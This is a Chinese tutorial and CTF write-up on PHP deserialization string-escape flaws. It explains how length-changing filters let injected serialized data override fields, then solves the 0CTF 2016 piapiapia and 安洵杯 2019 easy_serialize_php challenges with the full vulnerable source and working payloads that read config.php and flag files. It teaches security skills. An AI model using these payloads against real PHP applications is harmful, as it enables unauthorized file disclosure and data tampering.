文章目录
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
- 总是先进行序列化,再进行替换修改操作。
第一种情况:替换修改后导致序列化字符串变长
示例代码:
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
以上面代码为例,如何在不直接修改$pass
值的情况下间接修改$pass
的值。
这段代码的流程是,先序列化代码,然后将里面不希望出现的字符bb替换成自定义的字符串ccc。然后进行反序列化,最后输出pass变量。
要解决上面这个问题,先来看一下php序列化代码的特征。
我们可以看到,反序列化字符串都是以一";}
结束的,所以如果我们把";}
带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。
此时的name所读取的数据为aaaa"
而正常的语法是需要用";
去闭合当前的变量,而因为长度错误所以此时php把闭合的双引号当做了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误。
把精力回到开头所说的代码,根据刚才讲的,如果我们将name变量中添加bb则程序就会报错,因为bb将被filter函数替换成ccc,ccc的长度比bb多1,这样前面的s所代表的长度为2但是内容却变长了,成了ccc。如下:
可见在序列化后的字符串在经过filter函数过滤前,s为6,内容为aaaabb;经过filter过滤后,s仍然为6,但内容变为了aaaaccc,长度变成了7,根据反序列化读取变量的原则来讲,此时的name能读取到的只是aaaacc,末尾处的那个c是读取不到的,这就形成了一个字符串的逃逸。当我们添加多个bb,每添加一个bb我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。
假如我们要在name处改为上一个";s:4:"pass";s:6:"hacker";}
来间接修改pass的值,如果我们只是单纯的把它加进去的话,就像下面这样:
class A{
public $name='";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
由于$name
被序列化后的长度是固定的,在反序列化后$name
仍然为";s:4:"pass";s:6:"hacker";}
,$pass
仍然为123456
:
这里的关键点在于filter函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。filter函数中检测序列化后的字符串,如果检测到了非法字符'bb'
,就把它替换为'ccc'
。
此时我们发现";s:4:"pass";s:6:"hacker";}
的长度为27,如果我们再加上27个bb,那最终的长度将增加27,不就能逃逸后面的";s:4:"pass";s:6:"hacker";}
了吗?如下:
可见,成功逃逸,成功修改了pass的值。
具体分析如下:
逃逸或者说被 “顶” 出来的payload就会被当做当前类的属性被继续执行。
例题——[0CTF 2016]piapiapia
进入后一个登录页:
扫描一下,发现www.zip:
下载后打开,发现几个页面:
有个register.php,我们去注册看一下:
进入后跳转至update.php来填写你的信息并允许你上传图片:
我们这里上传一个1.php的webshell,点击UPDATE后跳转至profile.php讲你的信息输出
但这里我们上传的1.php被后端用改名后md5($file['name'])
失去了php后缀,所以不能再利用,只能再换一种思路。
接下来就是疯狂的代码审计。
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
输入用户名密码正确后,将跳转到profile.php页面。
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
将你的信息反序列化后输出。
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
填写完你的信息后将你的信息序列化。
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
可见flag在config.php中,而在profile.php中有一段关键的代码:
seay代码审计系统也可以给出这点线索:
可见,这里将上传的文件$profile['photo']
中的内容读取后进行base64,然后输出,那么思路就很明确了:上面还有个反序列化unserialize,感觉有戏,如果让 $profile['photo']
的值为'config.php'
,这样就可以将config.php的源码经过base64编码后输出,就可以得到flag了。可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
$profile = 'a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}';
print_r(unserialize($profile));
结果如下:
Array
(
[phone] => 12345678901
[email] => ss@q.com
[nickname] => sea_sand
[photo] => config.php
)
可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
在class.php页面,设置了$profile之后,用update_profile()函数进行处理:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
用filter函数进行了过滤:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
有两个正则过滤,带上update.php中输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则(update.php):
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
用数组即可绕过:nickname[]=
。但是传递过去之后,会先把序列化的值,保存在数据中,
那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
序列化后得到的字符串又经过filter函数的过滤:
这里的过滤看似使代码更加安全,避免了sql注入,实则很危险。将非法的字符替换成hacker,hacker的长度为6,而这几个非法字符中只有where的长度为5,所以如果我们传入where,其经过filter过滤后,就会变为长度加了一得hacker,就可以顶出一个字符的空间。
数组绕过了第一个正则过滤之后,如果nickname最后面塞上payload ";}s:5:"photo";s:10:"config.php";}
,一共是34个字符,如果利用正则替换34个where,就可以把这34个字符空间给挤出去给我们的payload使用,后面的upload因为序列化串被我们闭合了也就没用了:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可,再加上我们的构造即可:
去profile.php查看读取的文件,base64解码
得到flag:
补充一句:
- 这里如果传入的是
";s:5:"photo";s:10:"config.php";}
结果就会失败,看了网上的一些文章,发现他们传入的是";}s:5:"photo";s:10:"config.php";}
为什么前面要多加一个";}
,后来发现是因为我们nickname构造成了数组,而不是字符,所以要加";}
闭合一下。
第二种情况——替换之后导致序列化字符串变短
实验代码如下:
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
输入name和sign,number值是固定的’2020’,经过 序列化-->敏感字替换为空(长度变短)-->反序列化
的过程之后再输出结果。
接下来利用漏洞,通过输入name和sign来间接修改number的值:
我们要修改number的值,就要在sign中加入";s:6:"number";s:4:"2020";}
,其长度为27
但是就这样硬生生的加进去是不行的,我们要进一步构造一下。
payload:?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
这样,就将sign和number的值都修改了。原因分析:
在str_rep函数中如果检测到’php’、'test’关键字就把其替换为空,那么就利用这一点,我们故意输入敏感字符,替换为空之后来实现字符逃逸。我们在name中输入了输入了6个test,替换为空后这样就腾出了24个字符的空间,正好包含进了";s:4:"sign";s:54:"hello
,由于";s:4:"sign";s:54:"hello
成了name的内容,所以我们还要在后面加个";s:4:"sign";s:4:"eval
作为sign序列化的内容。
实例——[安洵杯 2019]easy_serialize_php
进入题目后即给出了源码:
首先源码提示,phpinfo中可能有东西,那么我们打开看一下
auto_append_file在所有页面的底部自动包含文件。我们可以看到自动包含了一个文件,其中应该存在flag,但是我们却打不开,我们就要想办法读取这个文件。再往下看:
可见先对,$serialize_info
反序列化,再对文件名进行base64解码后,将文件其中的内容读取出来。
这里为第二种情况——替换之后导致序列化字符串变短了。根据题目我们知道,题目是先序列化$_SESSION
数组,然后再经过一个过滤函数,然后再反序列化,这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。我们就可以通过构造,将$userinfo['img']
的内容改为d0g3_f1ag.php的base64编码值,即可将d0g3_f1ag.php的内容读出来了。
payload,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
extract($_POST) 存在变量覆盖漏洞
反序列化后var_dump的结果为:
"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
";s:8:"function";s:59:"a 其长度为24,作为一个整体成了user的值
后面";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"这部分被舍弃
这里最后面加上的s:2:"dd";s:1:"a"
是为了满足最前面a:3:
中的3,当然你也可以构造向上面那样的:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}&function=show_image
得到flag在/d0g3_fllllllag中。我们已经知道flag在/d0g3_fllllllag中了。再读取d0g3_fllllllag就行了,L2QwZzNfZmxsbGxsbGFn为/d0g3_fllllllag的base64编码。
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}&function=show_image